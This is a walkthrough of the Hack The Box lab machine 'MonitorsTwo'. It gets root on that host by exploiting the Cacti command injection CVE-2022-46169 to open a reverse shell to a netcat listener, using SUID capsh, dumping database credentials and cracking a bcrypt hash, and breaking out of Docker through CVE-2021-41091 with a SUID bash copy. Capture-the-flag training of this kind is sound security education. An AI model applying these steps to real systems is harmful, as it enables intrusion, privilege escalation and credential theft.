| Name | MonitorsTwo |
|---|---|
| OS | Linux |
| DIFFICULTY | Easy |
Reconnaissance
The IP address given for MonitorsTwo is 10.10.11.211. I will always start my reconnaissance with a namp scan. It will return me a list of listening ports on the machine to test.
The command that I ran was nmap -p- --min-rate 1000 -sVC 10.10.11.211 -oN monitorsTwo.nmap. This will enumerate all ports -p-, send the packets at an accelerated rate --min-rate 1000, run scrips to enumerate the service version as well as some basic enumeration -sVC, and save the output -oN.
The results below show that there are two open ports, 22 and 80. Port 22 is running Secure Socket Shell (ssh) a protocol that allows administrators to access a machine remotely. It is generally a pretty secure protocol and does not have much of an attack surface besides brute forcing. Port 80 on the other hand is the http protocol that websites are built upon. In this setup, Nginx is the primary web server responsible for interacting with the user’s browser and processing PHP scripts. Cacti, on the other hand, is an application that provides network monitoring and graphing functionality.
[zonifer@dell monitorsTwo]$ nmap -p- --min-rate 1000 -sVC 10.10.11.211 -oN monitorsTwo.nmap
Starting Nmap 7.94 ( https://nmap.org ) at 2023-09-09 19:12 MDT
Nmap scan report for 10.10.11.211
Host is up (0.058s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
| 256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_ 256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Login to Cacti
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 73.08 seconds
Browsing to the web page presents us with a login page, but more importantly, it discloses a version! Listing an application’s version is generally frowned upon due to the significant security risks it poses. It can lead to targeted attacks and increased vulnerability to known exploits.
Exploitation
Googling cacti 1.2.22 exploit shows several websites highlighting CVE-2022-46169, a command injection vulnerability for cacti 1.2.22. Rapid7 generally has good write-ups on exploits, I found this post that gives a good explanation of the vulnerability.
The tl;dr of the exploit is that by setting the X_FORWARDED_FOR_IP to 127.0.0.1 in your request bypasses authentication. After fuzzing for valid integers in two of the parameters, poller_id can be injected into.
I went ahead and wrote my own exploit for this here. It will brute force the correct parameters and then inject a reverse shell payload. I set up a listener on my local machine with netcat nc -lvnp 9001. Then I ran the exploit against the target python3 CVE-2022-46169.py -url http://10.10.11.211/ -lhost 10.10.14.3 -lport 9001
The result is a shell as www-data
[zonifer@dell monitorsTwo]$ nc -lvnp 9001
Connection from 10.10.11.211:33342
whoami
www-data
This shell is not the greatest, and my usual python3 upgrade did not work. I ended up using a new way that I learned to get a better shell via script
script /dev/null -c bash
# ctrl + z
stty raw -echo; fg
# enter (return) x2
Now I have a pretty decent shell
www-data@50bca5e748b0:/var/www/html$ whoami
www-data
One thing that I noticed right off the bat was the hostname, 50bca5e748b0. This looks like a hostname that docker would generate. Further looking at the root file system there is a .dockerenv file.
www-data@50bca5e748b0:/var/www/html$ ls -la /
total 84
drwxr-xr-x 1 root root 4096 Mar 21 10:49 .
drwxr-xr-x 1 root root 4096 Mar 21 10:49 ..
-rwxr-xr-x 1 root root 0 Mar 21 10:49 .dockerenv
Docker Privilege Escalation
While enumerating the system I noticed that there was an interesting binary with the suid set. Sometimes binaries with the suid set can be used to privileged escalate as the binary runs as the owner. A good way to check if a binary with the suid set is to reference https://gtfobins.github.io/.
find / -perm /4000 2>/dev/null
www-data@50bca5e748b0:/var/www/html$ find / -perm /4000 2>/dev/null
/usr/bin/gpasswd
/usr/bin/passwd
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/newgrp
/sbin/capsh
/bin/mount
/bin/umount
/bin/su
It appears that the /sbin/capsh could be used to elevate our privileges to root.
Running capsh --gid=0 --uid=0 -- does indeed work and elevates me to root. This is great, however, we are still in a docker container and need to escape onto the host.
www-data@50bca5e748b0:/tmp$ capsh --gid=0 --uid=0 --
root@50bca5e748b0:/tmp# whoami
root
Docker Pivot
Because we got a shell as www-data this docker container is hosting the Cacti application. Often web applications’ source code contains secrets/passwords that connect to other services, like a database. Inside the Cacti source code, I found a file called config.php and it contained some creds for mysql. These databases are always worth looking at in a real engagement as they might contain valuable information. They can still be helpful in CTF like HTB to help pivot as well. This particular connection is to another server called db. This might be another docker container or the host.
$database_type = 'mysql'; $database_default = 'cacti';
$database_hostname = 'db'; $database_username = 'root'; $database_password = 'root';
$database_port = '3306';
My command to connect to the database was mysql -u root -p -h db cacti. Dumping the user_auth table shows two usernames with hashed credentials, I cleaned up the output as it was very messy.
MySQL [cacti]> select * from user_auth;
[snip]
admin $2y$10$IhEA.Og8vrvwueM7VEDkUes3pwc3zaBbQ/iuqMft/llx8utpR1hjC marcus $2y$10$vcrYth5YcCLlZaPDj6PwqOYTw68W1.3WeKlBn70JonsdW/MhFYK4C
The next step to do after finding a hashed password is to crack it. $2y$ is a BCrypt hash, they are generally slower to crack (as a security measure), but it still can be done. The Marcus hash did crack after some time to funkymonkey. I usually use hashcat to crack passwords but I used john on this machine as it does not have a GPU and john can take advantage of my CPU better to crack these slower hashes like bcrypt.
[zonifer@dell monitorsTwo]$ john hash.txt --wordlist=/opt/rockyou.txt
[snip]
[zonifer@dell monitorsTwo]$ john hash.txt --show
?:funkymonkey
That credential (marcus:funkymonkey) can then be used to SSH to the machine as Marcus
[zonifer@dell monitorsTwo]$ ssh marcus@10.10.11.211
marcus@10.10.11.211's password:
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-147-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Tue 12 Sep 2023 03:46:16 AM UTC
System load: 0.0
Usage of /: 63.1% of 6.73GB
Memory usage: 12%
Swap usage: 0%
Processes: 230
Users logged in: 0
IPv4 address for br-60ea49c21773: 172.18.0.1
IPv4 address for br-7c3b7c0d00b3: 172.19.0.1
IPv4 address for docker0: 172.17.0.1
IPv4 address for eth0: 10.10.11.211
IPv6 address for eth0: dead:beef::250:56ff:feb9:9fa8
Expanded Security Maintenance for Applications is not enabled.
0 updates can be applied immediately.
Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
You have mail.
Last login: Thu Mar 23 10:12:28 2023 from 10.10.14.40
marcus@monitorstwo:~$
Root
The first thing that I noticed was that Marcus has mail! It is a security notice from a sys admin, it lists 3 possible issues.
marcus@monitorstwo:~$ cat /var/spool/mail/marcus
From: administrator@monitorstwo.htb
To: all@monitorstwo.htb
Subject: Security Bulletin - Three Vulnerabilities to be Aware Of
Dear all,
We would like to bring to your attention three vulnerabilities that have been recently discovered and should be addressed as soon as possible.
CVE-2021-33033: This vulnerability affects the Linux kernel before 5.11.14 and is related to the CIPSO and CALIPSO refcounting for the DOI definitions. Attackers can exploit this use-after-free issue to write arbitrary values. Please update your kernel to version 5.11.14 or later to address this vulnerability.
CVE-2020-25706: This cross-site scripting (XSS) vulnerability affects Cacti 1.2.13 and occurs due to improper escaping of error messages during template import previews in the xml_path field. This could allow an attacker to inject malicious code into the webpage, potentially resulting in the theft of sensitive data or session hijacking. Please upgrade to Cacti version 1.2.14 or later to address this vulnerability.
CVE-2021-41091: This vulnerability affects Moby, an open-source project created by Docker for software containerization. Attackers could exploit this vulnerability by traversing directory contents and executing programs on the data directory with insufficiently restricted permissions. The bug has been fixed in Moby (Docker Engine) version 20.10.9, and users should update to this version as soon as possible. Please note that running containers should be stopped and restarted for the permissions to be fixed.
We encourage you to take the necessary steps to address these vulnerabilities promptly to avoid any potential security breaches. If you have any questions or concerns, please do not hesitate to contact our IT department.
Best regards,
Administrator
CISO
Monitor Two
Security Team
At first glance the first CVE listed, CVE-2021-33033, shows that kernel versions before 5.11.14 are vulnerable, this machine is on version 5.4.0. However uname shows that this was built in 2023 and the CVE is for 2021.
marcus@monitorstwo:~$ uname -a
Linux monitorstwo 5.4.0-147-generic #164-Ubuntu SMP Tue Mar 21 14:23:17 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux
The XSS is not super relevant on gaining root so I’ll skip it.
The last CVE is related to docker. The vulnerable versions are below 20.10.9. We are on 20.10.5, so there is a good chance that this will work.
marcus@monitorstwo:~$ docker --version
Docker version 20.10.5+dfsg1, build 55c4c88
Before this machine, I knew nothing about CVE-2021-41091, and that is pretty common on engagements. I often find CVE’s that I have never exploited before. Googling and learning about a vulnerability is something that I am doing constantly. Blog posts and POCs are my preferred way to learn how an exploit works and how to perform it. I found this post on Google that gives a pretty good explanation. Feel free to read it in depth, but the shortened version is if we have root in a container and a user on the host we can escalate. It’s done by creating a copy of /bin/bash and setting the the uid and gid to 0. One other option is to set the CAP_SETUID and CAP_SETGID on that same binary. Then the user on the host can execute the binary giving us a euid of 0 (root permissions). This works because /var/lib/docker/overlay2/ has the permissions of 701, giving any user execution permission. That’s a lot so let’s look at it in action.
I’ll first locate the file system of the container that I have root access to.
marcus@monitorstwo:~$ findmnt
[snip]
├─/var/lib/docker/overlay2/4ec09ecfa6f3a290dc6b247d7f4ff71a398d4f17060cdaf065e8bb83007effec/merged
│ overlay overlay rw,relatime,lowerdir=/var/lib/docker/overlay2/l/756FTPFO4AE7HBWVGI
├─/var/lib/docker/containers/e2378324fced58e8166b82ec842ae45961417b4195aade5113fdc9c6397edc69/mounts/shm
│ shm tmpfs rw,nosuid,nodev,noexec,relatime,size=65536k
├─/var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/merged
│ overlay overlay rw,relatime,lowerdir=/var/lib/docker/overlay2/l/4Z77R4WYM6X4BLW7GX
└─/var/lib/docker/containers/50bca5e748b0e547d000ecb8a4f889ee644a92f743e129e52f7a37af6c62e51e/mounts/shm
shm tmpfs rw,nosuid,nodev,noexec,relatime,size=65536k
It looks like two containers are running, on my machine it was the second one. I was able to figure this out by looking at the file system and recognizing the webserver we pwnd earlier.
marcus@monitorstwo:~$ ls /var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/merged/var/www/html
about.php color_templates.php include README.md aggregate_graphs.php data_debug.php index.php remote_agent.php
aggregate_items.php data_input.php install reports_admin.php
aggregate_templates.php data_queries.php lib reports_user.php
auth_changepassword.php data_source_profiles.php LICENSE resource
Next, I’ll copy /bin/bash to /tmp/bash and permit it to run as the owner (root). In this example, I did it via the set uid permission rather than the Linux capabilities way.
root@50bca5e748b0:/tmp# cp /bin/bash .
root@50bca5e748b0:/tmp# chown root:root bash
root@50bca5e748b0:/tmp# chmod 4755 bash
Finally, I’ll run that binary back on the host with those elevated permissions.
marcus@monitorstwo:~$ /var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/merged/tmp/bash -p
bash-5.1# id
uid=1000(marcus) gid=1000(marcus) euid=0(root) groups=1000(marcus)
Now that I am root I can confirm the misconfiguration of the docker file system. That last x is the 1 in 701, giving anyone execution permissions.
bash-5.1# ls -la /var/lib/docker/overlay2/
total 148
drwx-----x 37 root root 4096 Sep 12 03:18 .